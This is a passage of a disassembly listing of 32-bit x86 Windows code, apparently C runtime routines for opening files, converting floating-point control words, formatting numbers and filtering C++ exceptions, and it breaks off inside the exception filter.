loc_41DF8F:				; CODE XREF: sub_41DDF6+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		call	dword_421078	; CreateFileA
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_41DFC0
		push	esi
		call	dword_421030	; GetFileType
		test	eax, eax
		jnz	short loc_41DFD4
		push	esi
		call	dword_42106C	; CloseHandle


loc_41DFC0:				; CODE XREF: sub_41DDF6+1B6j
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		call	sub_41CE74
		pop	ecx


loc_41DFCD:				; CODE XREF: sub_41DDF6+197j
		mov	eax, edi
		jmp	loc_41E0AA
; ---------------------------------------------------------------------------


loc_41DFD4:				; CODE XREF: sub_41DDF6+1C1j
		cmp	eax, 2
		jnz	short loc_41DFDF
		or	[ebp+var_1], 40h
		jmp	short loc_41DFE8
; ---------------------------------------------------------------------------


loc_41DFDF:				; CODE XREF: sub_41DDF6+1E1j
		cmp	eax, 3
		jnz	short loc_41DFE8
		or	[ebp+var_1], 8


loc_41DFE8:				; CODE XREF: sub_41DDF6+1E7j
					; sub_41DDF6+1ECj
		push	esi
		push	ebx
		call	sub_41DC71
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:46CE20h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_41E091
		test	al, 80h
		jz	short loc_41E091
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_41E091
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_41C447
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_41E046
		cmp	dword_46BB08, 83h
		jz	short loc_41E091
		jmp	short loc_41E085
; ---------------------------------------------------------------------------


loc_41E046:				; CODE XREF: sub_41DDF6+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41C251
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41E073
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_41E073
		push	[ebp+var_10]
		push	ebx
		call	sub_41F120
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41E085


loc_41E073:				; CODE XREF: sub_41DDF6+265j
					; sub_41DDF6+26Bj
		push	0
		push	0
		push	ebx
		call	sub_41C447
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41E091


loc_41E085:				; CODE XREF: sub_41DDF6+24Ej
					; sub_41DDF6+27Bj
		push	ebx
		call	sub_4185EB
		pop	ecx


loc_41E08C:				; CODE XREF: sub_41DDF6+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_41E0AA
; ---------------------------------------------------------------------------


loc_41E091:				; CODE XREF: sub_41DDF6+221j
					; sub_41DDF6+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_41E0A8
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_41E0A8
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_41E0A8:				; CODE XREF: sub_41DDF6+29Fj
					; sub_41DDF6+2A5j
		mov	eax, ebx


loc_41E0AA:				; CODE XREF: sub_41DDF6+1D9j
					; sub_41DDF6+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DDF6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E0AF	proc near		; CODE XREF: sub_41A43E+52p
		xor	eax, eax
		retn
sub_41E0AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E0B2	proc near		; CODE XREF: sub_41E0E7+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_41E0FD
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_41E18F
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41E0B2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E0E7	proc near		; CODE XREF: sub_41A72A+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_41E0B2
		pop	ecx
		pop	ecx
		retn
sub_41E0E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E0FD	proc near		; CODE XREF: sub_41E0B2+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_41E10E
		push	10h
		pop	eax


loc_41E10E:				; CODE XREF: sub_41E0FD+Cj
		test	bl, 4
		jz	short loc_41E115
		or	al, 8


loc_41E115:				; CODE XREF: sub_41E0FD+14j
		test	bl, 8
		jz	short loc_41E11C
		or	al, 4


loc_41E11C:				; CODE XREF: sub_41E0FD+1Bj
		test	bl, 10h
		jz	short loc_41E123
		or	al, 2


loc_41E123:				; CODE XREF: sub_41E0FD+22j
		test	bl, 20h
		jz	short loc_41E12A
		or	al, 1


loc_41E12A:				; CODE XREF: sub_41E0FD+29j
		test	bl, 2
		jz	short loc_41E134
		or	eax, 80000h


loc_41E134:				; CODE XREF: sub_41E0FD+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_41E16C
		cmp	edx, 400h
		jz	short loc_41E169
		cmp	edx, 800h
		jz	short loc_41E165
		cmp	edx, esi
		jnz	short loc_41E16C
		or	eax, edi
		jmp	short loc_41E16C
; ---------------------------------------------------------------------------


loc_41E165:				; CODE XREF: sub_41E0FD+5Ej
		or	eax, ebp
		jmp	short loc_41E16C
; ---------------------------------------------------------------------------


loc_41E169:				; CODE XREF: sub_41E0FD+56j
		or	ah, 1


loc_41E16C:				; CODE XREF: sub_41E0FD+4Ej
					; sub_41E0FD+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_41E17C
		cmp	ecx, ebp
		jnz	short loc_41E181
		or	eax, 10000h
		jmp	short loc_41E181
; ---------------------------------------------------------------------------


loc_41E17C:				; CODE XREF: sub_41E0FD+72j
		or	eax, 20000h


loc_41E181:				; CODE XREF: sub_41E0FD+76j
					; sub_41E0FD+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_41E18E
		or	eax, 40000h

locret_41E18E:				; CODE XREF: sub_41E0FD+8Aj
		retn
sub_41E0FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E18F	proc near		; CODE XREF: sub_41E0B2+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_41E19F
		push	1
		pop	eax


loc_41E19F:				; CODE XREF: sub_41E18F+Bj
		test	bl, 8
		jz	short loc_41E1A6
		or	al, 4


loc_41E1A6:				; CODE XREF: sub_41E18F+13j
		test	bl, 4
		jz	short loc_41E1AD
		or	al, 8


loc_41E1AD:				; CODE XREF: sub_41E18F+1Aj
		test	bl, 2
		jz	short loc_41E1B4
		or	al, 10h


loc_41E1B4:				; CODE XREF: sub_41E18F+21j
		test	bl, 1
		jz	short loc_41E1BB
		or	al, 20h


loc_41E1BB:				; CODE XREF: sub_41E18F+28j
		test	ebx, 80000h
		jz	short loc_41E1C5
		or	al, 2


loc_41E1C5:				; CODE XREF: sub_41E18F+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_41E1F2
		cmp	ecx, 100h
		jz	short loc_41E1EF
		cmp	ecx, esi
		jz	short loc_41E1EA
		cmp	ecx, edx
		jnz	short loc_41E1F2
		or	ah, 0Ch
		jmp	short loc_41E1F2
; ---------------------------------------------------------------------------


loc_41E1EA:				; CODE XREF: sub_41E18F+50j
		or	ah, 8
		jmp	short loc_41E1F2
; ---------------------------------------------------------------------------


loc_41E1EF:				; CODE XREF: sub_41E18F+4Cj
		or	ah, 4


loc_41E1F2:				; CODE XREF: sub_41E18F+44j
					; sub_41E18F+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_41E208
		cmp	ecx, 10000h
		jnz	short loc_41E20A
		or	eax, esi
		jmp	short loc_41E20A
; ---------------------------------------------------------------------------


loc_41E208:				; CODE XREF: sub_41E18F+6Bj
		or	eax, edx


loc_41E20A:				; CODE XREF: sub_41E18F+73j
					; sub_41E18F+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_41E217
		or	ah, 10h

locret_41E217:				; CODE XREF: sub_41E18F+83j
		retn
sub_41E18F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E218	proc near		; CODE XREF: sub_41E2B7+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_41E25D
		inc	esi
		cmp	esi, 3
		jge	short loc_41E258
		lea	eax, [eax+esi*4]


loc_41E24A:				; CODE XREF: sub_41E218+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_41E25D
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_41E24A


loc_41E258:				; CODE XREF: sub_41E218+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41E25D:				; CODE XREF: sub_41E218+27j
					; sub_41E218+35j
		xor	eax, eax
		pop	esi
		retn
sub_41E218	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E261	proc near		; CODE XREF: sub_41E2B7+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_41F266
		add	esp, 0Ch
		dec	esi
		js	short loc_41E2B3
		lea	edi, [ebx+esi*4]


loc_41E29A:				; CODE XREF: sub_41E261+50j
		test	eax, eax
		jz	short loc_41E2B3
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_41F266
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_41E29A


loc_41E2B3:				; CODE XREF: sub_41E261+34j
					; sub_41E261+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41E261	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E2B7	proc near		; CODE XREF: sub_41E412+81p
					; sub_41E412+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_41E31B
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_41E218
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41E318
		push	edi
		push	[ebp+arg_0]
		call	sub_41E261
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_41E318:				; CODE XREF: sub_41E2B7+51j
		mov	eax, [ebp+arg_4]


loc_41E31B:				; CODE XREF: sub_41E2B7+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_41E33B
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_41E33B:				; CODE XREF: sub_41E2B7+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E2B7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E343	proc near		; CODE XREF: sub_41E412+75p
					; sub_41E412+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_41E351:				; CODE XREF: sub_41E343+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_41E351
		pop	esi
		retn
sub_41E343	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E35E	proc near		; CODE XREF: sub_41E412+5Fp
					; sub_41E412+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_41E35E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E36A	proc near		; CODE XREF: sub_41E412+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_41E370:				; CODE XREF: sub_41E36A+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_41E382
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_41E370
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41E382:				; CODE XREF: sub_41E36A+9j
		xor	eax, eax
		retn
sub_41E36A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E385	proc near		; CODE XREF: sub_41E412+C0p
					; sub_41E412+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_41E3BB:				; CODE XREF: sub_41E385+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_41E3BB
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_41E3ED:				; CODE XREF: sub_41E385+86j
		cmp	ebx, edi
		jl	short loc_41E400
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_41E407
; ---------------------------------------------------------------------------


loc_41E400:				; CODE XREF: sub_41E385+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_41E407:				; CODE XREF: sub_41E385+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_41E3ED
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E385	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E412	proc near		; CODE XREF: sub_41E57E+Dp
					; sub_41E594+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_41E47F
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_41E36A
		test	eax, eax
		pop	ecx
		jnz	loc_41E53E
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41E35E
		pop	ecx


loc_41E477:				; CODE XREF: sub_41E412+E4j
		push	2


loc_41E479:				; CODE XREF: sub_41E412+110j
		pop	eax
		jmp	loc_41E540
; ---------------------------------------------------------------------------


loc_41E47F:				; CODE XREF: sub_41E412+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_41E343
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41E2B7
		add	esp, 10h
		test	eax, eax
		jz	short loc_41E4A0
		inc	ebx


loc_41E4A0:				; CODE XREF: sub_41E412+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_41E4B8
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41E35E
		pop	ecx
		jmp	short loc_41E4F4
; ---------------------------------------------------------------------------


loc_41E4B8:				; CODE XREF: sub_41E412+98j
		cmp	ebx, eax
		jg	short loc_41E4FB
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41E343
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_41E385
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41E2B7
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41E385
		add	esp, 20h


loc_41E4F4:				; CODE XREF: sub_41E412+A4j
		xor	esi, esi
		jmp	loc_41E477
; ---------------------------------------------------------------------------


loc_41E4FB:				; CODE XREF: sub_41E412+A8j
		cmp	ebx, [edi]
		jl	short loc_41E527
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41E35E
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41E385
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_41E479
; ---------------------------------------------------------------------------


loc_41E527:				; CODE XREF: sub_41E412+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_41E385
		pop	ecx
		pop	ecx


loc_41E53E:				; CODE XREF: sub_41E412+55j
		xor	eax, eax


loc_41E540:				; CODE XREF: sub_41E412+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_41E56F
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_41E579
; ---------------------------------------------------------------------------


loc_41E56F:				; CODE XREF: sub_41E412+14Ej
		cmp	edi, 20h
		jnz	short loc_41E579
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_41E579:				; CODE XREF: sub_41E412+15Bj
					; sub_41E412+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E412	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E57E	proc near		; CODE XREF: sub_41E5AA+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43AD90
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41E412
		add	esp, 0Ch
		retn
sub_41E57E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E594	proc near		; CODE XREF: sub_41E5D7+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43ADA8
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41E412
		add	esp, 0Ch
		retn
sub_41E594	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E5AA	proc near		; CODE XREF: sub_41A863+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41F407
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41E57E
		add	esp, 24h
		leave
		retn
sub_41E5AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E5D7	proc near		; CODE XREF: sub_41A863+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41F407
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41E594
		add	esp, 24h
		leave
		retn
sub_41E5D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E604	proc near		; CODE XREF: sub_41A8A1+65p
					; sub_41A9A5+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_41E641
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_41E627:				; CODE XREF: sub_41E604+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_41E633
		movsx	edx, dl
		inc	ecx
		jmp	short loc_41E636
; ---------------------------------------------------------------------------


loc_41E633:				; CODE XREF: sub_41E604+27j
		push	30h
		pop	edx


loc_41E636:				; CODE XREF: sub_41E604+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_41E627
		mov	edx, [ebp+arg_8]


loc_41E641:				; CODE XREF: sub_41E604+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_41E65A
		cmp	byte ptr [ecx],	35h
		jl	short loc_41E65A


loc_41E64D:				; CODE XREF: sub_41E604+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_41E658
		mov	byte ptr [eax],	30h
		jmp	short loc_41E64D
; ---------------------------------------------------------------------------


loc_41E658:				; CODE XREF: sub_41E604+4Dj
		inc	byte ptr [eax]


loc_41E65A:				; CODE XREF: sub_41E604+42j
					; sub_41E604+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_41E664
		inc	dword ptr [edx+4]
		jmp	short loc_41E676
; ---------------------------------------------------------------------------


loc_41E664:				; CODE XREF: sub_41E604+59j
		push	edi
		call	sub_415B10
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_416320
		add	esp, 10h


loc_41E676:				; CODE XREF: sub_41E604+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41E604	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E67B	proc near		; CODE XREF: sub_41A8A1+3Fp
					; sub_41A9A5+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41E6DF
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_46BCD8
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_41F8D8
		mov	dword_46BD00, eax
		add	esp, 18h
		movsx	eax, byte_46BCDA
		mov	dword_46BCF8, eax
		pop	edi
		movsx	eax, word_46BCD8
		mov	dword_46BCFC, eax
		mov	dword_46BD04, offset dword_46BCDC
		mov	eax, offset dword_46BCF8
		pop	esi
		leave
		retn
sub_41E67B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E6DF	proc near		; CODE XREF: sub_41E67B+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_41E72D
		cmp	ebx, edi
		jz	short loc_41E726
		lea	edi, [ecx+3C00h]
		jmp	short loc_41E74E
; ---------------------------------------------------------------------------


loc_41E726:				; CODE XREF: sub_41E6DF+3Dj
		mov	edi, 7FFFh
		jmp	short loc_41E74E
; ---------------------------------------------------------------------------


loc_41E72D:				; CODE XREF: sub_41E6DF+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_41E745
		cmp	edx, ebx
		jnz	short loc_41E745
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_41E790
; ---------------------------------------------------------------------------


loc_41E745:				; CODE XREF: sub_41E6DF+52j
					; sub_41E6DF+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_41E74E:				; CODE XREF: sub_41E6DF+45j
					; sub_41E6DF+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_41E766:				; CODE XREF: sub_41E6DF+A6j
		test	ecx, esi
		jnz	short loc_41E787
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_41E766
; ---------------------------------------------------------------------------


loc_41E787:				; CODE XREF: sub_41E6DF+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_41E790:				; CODE XREF: sub_41E6DF+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E6DF	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_417C0E
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41E79E	proc near		; DATA XREF: sub_41E7E4o
					; .text:0043A768o ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41E7C1
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_41E7C1
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_41E7C1
		jmp	sub_41B42C
